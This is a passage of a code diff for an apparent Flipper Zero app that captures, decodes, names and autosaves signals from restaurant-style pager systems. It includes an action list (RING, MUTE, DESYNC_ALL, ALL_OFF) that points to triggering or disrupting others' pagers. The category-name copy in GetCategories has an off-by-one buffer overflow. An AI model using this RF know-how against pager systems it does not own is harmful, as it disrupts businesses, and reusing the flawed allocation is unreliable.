readFromFile(configFile);
delete configFile;
}
}
void Save() {
FlipperFile* configFile = FileManager().OpenWrite(CONFIG_FILE_PATH);
if(configFile != NULL) {
writeToFile(configFile);
delete configFile;
}
}
const char* GetCurrentUserCategoryCstr() {
return CurrentUserCategory == NULL ? NULL : CurrentUserCategory->cstr();
}
};
@@ -0,0 +1,188 @@
#pragma once
#include <storage/storage.h>
#include <forward_list>
#include "app/pager/PagerSerializer.hpp"
#include "lib/file/FileManager.hpp"
#include "pager/data/NamedPagerData.hpp"
// .fff stands for (f)lipper (f)ile (f)ormat
#define CONFIG_FILE_PATH APP_DATA_PATH("config.fff")
#define STATIONS_PATH APP_DATA_PATH("stations")
#define STATIONS_PATH_OF(path) STATIONS_PATH "/" path
#define SAVED_STATIONS_PATH STATIONS_PATH_OF("saved")
#define AUTOSAVED_STATIONS_PATH STATIONS_PATH_OF("autosaved")
#define MAX_FILENAME_LENGTH 16
using namespace std;
enum CategoryType {
User,
Autosaved,
NotSelected,
};
class AppFileSysytem {
private:
String* getCategoryPath(CategoryType categoryType, const char* category) {
switch(categoryType) {
case User:
if(category != NULL) {
return new String("%s/%s", SAVED_STATIONS_PATH, category);
} else {
return new String(SAVED_STATIONS_PATH);
}
case Autosaved:
return new String("%s/%s", AUTOSAVED_STATIONS_PATH, category);
default:
case NotSelected:
return NULL;
}
}
String* getFilePath(CategoryType categoryType, const char* category, StoredPagerData* pager) {
String* categoryPath = getCategoryPath(categoryType, category);
String* pagerFilename = PagerSerializer().GetFilename(pager);
String* filePath = new String("%s/%s", categoryPath->cstr(), pagerFilename->cstr());
delete categoryPath;
delete pagerFilename;
return filePath;
}
public:
int GetCategories(forward_list<char*>* categoryList, CategoryType categoryType) {
const char* dirPath;
switch(categoryType) {
case User:
dirPath = SAVED_STATIONS_PATH;
break;
case Autosaved:
dirPath = AUTOSAVED_STATIONS_PATH;
break;
default:
return 0;
}
FileManager fileManager = FileManager();
Directory* dir = fileManager.OpenDirectory(dirPath);
uint16_t categoriesLoaded = 0;
if(dir != NULL) {
char fileName[MAX_FILENAME_LENGTH];
while(dir->GetNextDir(fileName, MAX_FILENAME_LENGTH)) {
char* category = new char[strlen(fileName)];
strcpy(category, fileName);
categoryList->push_front(category);
categoriesLoaded++;
}
}
delete dir;
return categoriesLoaded;
}
size_t GetStationsFromDirectory(
forward_list<NamedPagerData>* stationList,
ProtocolAndDecoderProvider* pdProvider,
CategoryType categoryType,
const char* category,
bool loadNames
) {
FileManager fileManager = FileManager();
String* stationDirPath = getCategoryPath(categoryType, category);
Directory* dir = fileManager.OpenDirectory(stationDirPath->cstr());
PagerSerializer serializer = PagerSerializer();
size_t stationsLoaded = 0;
if(dir != NULL) {
char fileName[MAX_FILENAME_LENGTH];
while(dir->GetNextFile(fileName, MAX_FILENAME_LENGTH)) {
String* stationName = new String();
StoredPagerData pager =
serializer.LoadPagerData(&fileManager, stationName, stationDirPath->cstr(), fileName, pdProvider);
if(!loadNames) {
delete stationName;
stationName = NULL;
}
NamedPagerData returnData = NamedPagerData();
returnData.storedData = pager;
returnData.name = stationName;
stationList->push_front(returnData);
stationsLoaded++;
}
}
delete dir;
delete stationDirPath;
return stationsLoaded;
}
String* GetOnlyStationName(CategoryType categoryType, const char* category, StoredPagerData* pager) {
FileManager fileManager = FileManager();
String* categoryPath = getCategoryPath(categoryType, category);
String* name = PagerSerializer().LoadOnlyStationName(&fileManager, categoryPath->cstr(), pager);
delete categoryPath;
return name;
}
void AutoSave(StoredPagerData* storedData, PagerDecoder* decoder, PagerProtocol* protocol, uint32_t frequency) {
DateTime datetime;
furi_hal_rtc_get_datetime(&datetime);
String* todayDate = new String("%d-%02d-%02d", datetime.year, datetime.month, datetime.day);
String* todaysDir = getCategoryPath(Autosaved, todayDate->cstr());
FileManager fileManager = FileManager();
fileManager.CreateDirIfNotExists(STATIONS_PATH);
fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
fileManager.CreateDirIfNotExists(todaysDir->cstr());
PagerSerializer().SavePagerData(&fileManager, todaysDir->cstr(), "", storedData, decoder, protocol, frequency);
delete todaysDir;
delete todayDate;
}
void SaveToUserCategory(
const char* userCategory,
const char* stationName,
StoredPagerData* storedData,
PagerDecoder* decoder,
PagerProtocol* protocol,
uint32_t frequency
) {
String* catDir = getCategoryPath(User, userCategory);
FileManager fileManager = FileManager();
fileManager.CreateDirIfNotExists(STATIONS_PATH);
fileManager.CreateDirIfNotExists(AUTOSAVED_STATIONS_PATH);
fileManager.CreateDirIfNotExists(catDir->cstr());
PagerSerializer().SavePagerData(&fileManager, catDir->cstr(), stationName, storedData, decoder, protocol, frequency);
delete catDir;
}
void DeletePager(const char* userCategory, StoredPagerData* storedData) {
String* filePath = getFilePath(User, userCategory, storedData);
FileManager().DeleteFile(filePath->cstr());
delete filePath;
}
void DeleteCategory(const char* userCategory) {
String* catPath = getCategoryPath(User, userCategory);
FileManager().DeleteFile(catPath->cstr());
delete catPath;
}
};
@@ -0,0 +1,16 @@
#pragma once
#include "lib/hardware/notification/Notification.hpp"
const NotificationSequence NOTIFICATION_PAGER_RECEIVE = {
&message_vibro_on,
&message_note_e6,
&message_blue_255,
&message_delay_50,
&message_sound_off,
&message_vibro_off,
NULL,
};
@@ -0,0 +1,42 @@
#pragma once
enum PagerAction {
UNKNOWN,
RING,
MUTE,
DESYNC,
TURN_OFF_ALL,
PagerActionCount,
};
class PagerActions {
public:
static const char* GetDescription(PagerAction action) {
switch(action) {
case UNKNOWN:
return "?";
case RING:
return "RING";
case MUTE:
return "MUTE";
case DESYNC:
return "DESYNC_ALL";
case TURN_OFF_ALL:
return "ALL_OFF";
default:
return "";
}
}
static bool IsPagerActionSpecial(PagerAction action) {
switch(action) {
case DESYNC:
case TURN_OFF_ALL:
return true;
default:
return false;
}
}
};
@@ -0,0 +1,319 @@
#pragma once
#include "ProtocolAndDecoderProvider.hpp"
#include <cstring>
#include <forward_list>
#include "lib/hardware/subghz/FrequencyManager.hpp"
#include "lib/hardware/subghz/data/SubGhzReceivedData.hpp"
#include "app/AppConfig.hpp"
#include "data/ReceivedPagerData.hpp"
#include "data/KnownStationData.hpp"
#include "protocol/PrincetonProtocol.hpp"
#include "protocol/Smc5326Protocol.hpp"
#include "decoder/Td157Decoder.hpp"
#include "decoder/Td165Decoder.hpp"
#include "decoder/Td174Decoder.hpp"
#include "decoder/L8RDecoder.hpp"
#include "decoder/L8SDecoder.hpp"
#undef LOG_TAG
#define LOG_TAG "PGR_RCV"
#define MAX_REPEATS 99
#define PAGERS_ARRAY_SIZE_MULTIPLIER 8
using namespace std;
class PagerReceiver : public ProtocolAndDecoderProvider {
public:
static const uint8_t protocolsCount = 2;
PagerProtocol* protocols[protocolsCount]{
new PrincetonProtocol(),
new Smc5326Protocol(),
};
static const uint8_t decodersCount = 5;
PagerDecoder* decoders[decodersCount]{
new Td157Decoder(),
new Td165Decoder(),
new Td174Decoder(),
new L8RDecoder(),
new L8SDecoder(),
};
private:
AppConfig* config;
uint16_t nextPagerIndex = 0;
uint16_t pagersArraySize = PAGERS_ARRAY_SIZE_MULTIPLIER;
StoredPagerData* pagers = new StoredPagerData[pagersArraySize];
size_t knownStationsSize = 0;
KnownStationData* knownStations;
uint32_t lastFrequency = 0;
uint8_t lastFrequencyIndex = 0;
bool knownStationsLoaded = false;
const char* userCategory;
void loadKnownStations() {
AppFileSysytem appFilesystem;
forward_list<NamedPagerData> stations;
bool withNames = config->SavedStrategy == SHOW_NAME;
size_t count = appFilesystem.GetStationsFromDirectory(&stations, this, User, userCategory, withNames);
knownStations = new KnownStationData[count];
for(size_t i = 0; i < count; i++) {
knownStations[i] = buildKnownStationWithName(stations.front());
stations.pop_front();
}
knownStationsSize = count;
knownStationsLoaded = true;
}
void unloadKnownStations() {
for(size_t i = 0; i < knownStationsSize; i++) {
if(knownStations[i].name != NULL) {
delete knownStations[i].name;
}
}
delete[] knownStations;
knownStationsLoaded = false;
knownStationsSize = 0;
}
KnownStationData buildKnownStationWithName(NamedPagerData pager) {
KnownStationData data = KnownStationData();
data.frequency = pager.storedData.frequency;
data.protocol = pager.storedData.protocol;
data.decoder = pager.storedData.decoder;
data.station = decoders[pager.storedData.decoder]->GetStation(pager.storedData.data);
data.name = pager.name;
return data;
}
KnownStationData buildKnownStationWithoutName(StoredPagerData* pager) {
KnownStationData data = KnownStationData();
data.frequency = pager->frequency;
data.protocol = pager->protocol;
data.decoder = pager->decoder;
data.station = decoders[pager->decoder]->GetStation(pager->data);
data.name = NULL;
return data;
}
PagerDecoder* getDecoder(StoredPagerData* pagerData) {
for(size_t i = 0; i < decodersCount; i++) {
pagerData->decoder = i;
if(IsKnown(pagerData)) {
return decoders[i];
}
}
for(size_t i = 0; i < decodersCount; i++) {
if(decoders[i]->GetPager(pagerData->data) <= config->MaxPagerForBatchOrDetection) {
return decoders[i];
}
}
return decoders[0];
}
void addPager(StoredPagerData data) {
if(nextPagerIndex == pagersArraySize) {
pagersArraySize += PAGERS_ARRAY_SIZE_MULTIPLIER;
StoredPagerData* newPagers = new StoredPagerData[pagersArraySize];
for(int i = 0; i < nextPagerIndex; i++) {
newPagers[i] = pagers[i];
}
delete[] pagers;
pagers = newPagers;
}
pagers[nextPagerIndex++] = data;
}
public:
PagerReceiver(AppConfig* config) {
this->config = config;
for(size_t i = 0; i < protocolsCount; i++) {
protocols[i]->id = i;
}
for(size_t i = 0; i < decodersCount; i++) {
decoders[i]->id = i;
}
SetUserCategory(config->CurrentUserCategory);
}
void SetUserCategory(String* category) {
SetUserCategory(category != NULL ? category->cstr() : NULL);
}
const char* GetCurrentUserCategory() {
return userCategory;
}
void SetUserCategory(const char* category) {
userCategory = category;
}
PagerProtocol* GetProtocolByName(const char* systemProtocolName) {
for(size_t i = 0; i < protocolsCount; i++) {
if(strcmp(systemProtocolName, protocols[i]->GetSystemName()) == 0) {
return protocols[i];
}
}
return NULL;
}
PagerDecoder* GetDecoderByName(const char* shortName) {
for(size_t i = 0; i < decodersCount; i++) {
if(strcmp(shortName, decoders[i]->GetShortName()) == 0) {
return decoders[i];
}
}
return NULL;
}
void ReloadKnownStations() {
unloadKnownStations();
loadKnownStations();
}
void LoadStationsFromDirectory(
CategoryType categoryType,
const char* category,
function<void(ReceivedPagerData*)> pagerHandler
) {
AppFileSysytem appFilesystem;
forward_list<NamedPagerData> stations;
bool withNames = !knownStationsLoaded && config->SavedStrategy == SHOW_NAME;
int count = appFilesystem.GetStationsFromDirectory(&stations, this, categoryType, category, withNames);
delete[] pagers;
pagers = new StoredPagerData[count];
if(!knownStationsLoaded) {
knownStations = new KnownStationData[count];
}
for(int i = 0; i < count; i++) {
NamedPagerData pagerData = stations.front();
pagers[i] = pagerData.storedData;
if(!knownStationsLoaded) {
knownStations[i] = buildKnownStationWithName(pagerData);
}
stations.pop_front();
pagerHandler(new ReceivedPagerData(PagerGetter(i), i, true));
}
if(!knownStationsLoaded) {
knownStationsSize = count;
}
nextPagerIndex = count;
pagersArraySize = count;
knownStationsLoaded = true;
}
PagerDataGetter PagerGetter(size_t index) {
return [this, index]() { return &pagers[index]; };
}
String* GetName(StoredPagerData* pager) {
uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
for(size_t i = 0; i < knownStationsSize; i++) {
if(knownStations[i].toInt() == stationId) {
return knownStations[i].name;
}
}
return NULL;
}
bool IsKnown(StoredPagerData* pager) {
uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
for(size_t i = 0; i < knownStationsSize; i++) {
if(knownStations[i].toInt() == stationId) {
return true;
}
}
return false;
}
ReceivedPagerData* Receive(SubGhzReceivedData* data) {
PagerProtocol* protocol = GetProtocolByName(data->GetProtocolName());
if(protocol == NULL) {
return NULL;
}
int index = -1;
uint32_t dataHash = data->GetHash();
for(size_t i = 0; i < nextPagerIndex; i++) {
if(pagers[i].data == dataHash && pagers[i].protocol == protocol->id) {
if(pagers[i].repeats < MAX_REPEATS) {
pagers[i].repeats++;
} else {
return NULL; // no need to modify element any more
}
index = i;
break;
}
}
bool isNew = index < 0;
if(isNew) {
if(data->GetFrequency() != lastFrequency) {
lastFrequencyIndex = FrequencyManager::GetInstance()->GetFrequencyIndex(data->GetFrequency());
lastFrequency = data->GetFrequency();
}
StoredPagerData storedData = StoredPagerData();
storedData.data = dataHash;
storedData.protocol = protocol->id;
storedData.repeats = 1;
storedData.te = data->GetTE();
storedData.frequency = lastFrequencyIndex;
storedData.decoder = getDecoder(&storedData)->id;
storedData.edited = false;
if(config->SavedStrategy == HIDE && IsKnown(&storedData)) {
return NULL;
}
if(config->AutosaveFoundSignals) {
AppFileSysytem().AutoSave(&storedData, decoders[storedData.decoder], protocol, lastFrequency);
}
index = nextPagerIndex;
addPager(storedData);
}
return new ReceivedPagerData(PagerGetter(index), index, isNew);
}
~PagerReceiver() {
for(PagerProtocol* protocol : protocols) {
delete protocol;
}
for(PagerDecoder* decoder : decoders) {
delete decoder;
}
delete[] pagers;
unloadKnownStations();
}
};
@@ -0,0 +1,100 @@
#pragma once
#include "ProtocolAndDecoderProvider.hpp"
#include "lib/String.hpp"
#include "lib/file/FileManager.hpp"
#include "lib/file/FlipperFile.hpp"
#include "data/StoredPagerData.hpp"
#include "lib/hardware/subghz/FrequencyManager.hpp"
#include "protocol/PagerProtocol.hpp"
#include "decoder/PagerDecoder.hpp"
#define KEY_PAGER_STATION_NAME "StationName"
#define KEY_PAGER_FREQUENCY "Frequency"
#define KEY_PAGER_PROTOCOL "Protocol"
#define KEY_PAGER_DECODER "Decoder"
#define KEY_PAGER_DATA "Data"
#define KEY_PAGER_TE "TE"
#define NAME_MIN_LENGTH 2
#define NAME_MAX_LENGTH 20
class PagerSerializer {
private:
public:
String* GetFilename(StoredPagerData* pager) {
return new String("%06X.fff", pager->data);
}
void SavePagerData(
FileManager* fileManager,
const char* dir,
const char* stationName,
StoredPagerData* pager,
PagerDecoder* decoder,
PagerProtocol* protocol,
uint32_t frequency
) {
String* fileName = GetFilename(pager);
FlipperFile* stationFile = fileManager->OpenWrite(dir, fileName->cstr());
stationFile->WriteString(KEY_PAGER_STATION_NAME, stationName);
stationFile->WriteUInt32(KEY_PAGER_FREQUENCY, frequency);
stationFile->WriteString(KEY_PAGER_PROTOCOL, protocol->GetSystemName());
stationFile->WriteString(KEY_PAGER_DECODER, decoder->GetShortName());
stationFile->WriteUInt32(KEY_PAGER_TE, pager->te);
stationFile->WriteHex(KEY_PAGER_DATA, pager->data);
delete stationFile;
delete fileName;
}
String* LoadOnlyStationName(FileManager* fileManager, const char* dir, StoredPagerData* pager) {
String* filename = GetFilename(pager);
FlipperFile* stationFile = fileManager->OpenRead(dir, filename->cstr());
delete filename;
String* stationName = NULL;
if(stationFile != NULL) {
stationName = new String();
stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
delete stationFile;
}
return stationName;
}
StoredPagerData LoadPagerData(
FileManager* fileManager,
String* stationName,
const char* dir,
const char* fileName,
ProtocolAndDecoderProvider* pdProvider
) {
FlipperFile* stationFile = fileManager->OpenRead(dir, fileName);
uint32_t te = 0;
uint64_t hex = 0;
uint32_t frequency = 0;
String protocolName;
String decoderName;
stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
stationFile->ReadUInt32(KEY_PAGER_FREQUENCY, &frequency);
stationFile->ReadString(KEY_PAGER_PROTOCOL, &protocolName);
stationFile->ReadString(KEY_PAGER_DECODER, &decoderName);
stationFile->ReadUInt32(KEY_PAGER_TE, &te);
stationFile->ReadHex(KEY_PAGER_DATA, &hex);
delete stationFile;
StoredPagerData pager;
pager.data = hex;
pager.te = te;
pager.edited = false;
pager.frequency = FrequencyManager::GetInstance()->GetFrequencyIndex(frequency);
pager.protocol = pdProvider->GetProtocolByName(protocolName.cstr())->id;
pager.decoder = pdProvider->GetDecoderByName(decoderName.cstr())->id;
return pager;
}
};
@@ -0,0 +1,12 @@
#pragma once
#include "protocol/PagerProtocol.hpp"
#include "decoder/PagerDecoder.hpp"
class ProtocolAndDecoderProvider {
public:
virtual PagerProtocol* GetProtocolByName(const char* name) = 0;
virtual PagerDecoder* GetDecoderByName(const char* name) = 0;
virtual ~ProtocolAndDecoderProvider() {
}
};
@@ -0,0 +1,9 @@
#pragma once
enum SavedStationStrategy {
IGNORE, // don't check if station is saved, show as unknown
SHOW_NAME, // show station name instead of hex and station number
HIDE, // hide all station signals from the search
SavedStationStrategyValuesCount,
};
@@ -0,0 +1,28 @@
#pragma once
#include "lib/String.hpp"
#include <cstdint>
struct KnownStationData {
uint8_t frequency : 8;
uint8_t protocol : 2;
uint8_t decoder : 4;
uint8_t unused : 2; // align
uint16_t station : 16;
String* name;
public:
uint32_t toInt();
};
union KnownStationDataUnion {
KnownStationData stationData;
uint32_t intValue;
};
uint32_t KnownStationData::toInt() {
KnownStationDataUnion u;
u.stationData = *this;
u.stationData.unused = 0;
return u.intValue;
}
@@ -0,0 +1,9 @@
#pragma once
#include "StoredPagerData.hpp"
#include "lib/String.hpp"
struct NamedPagerData {
StoredPagerData storedData;
String* name;
};

Some files were not shown because too many files have changed in this diff Show More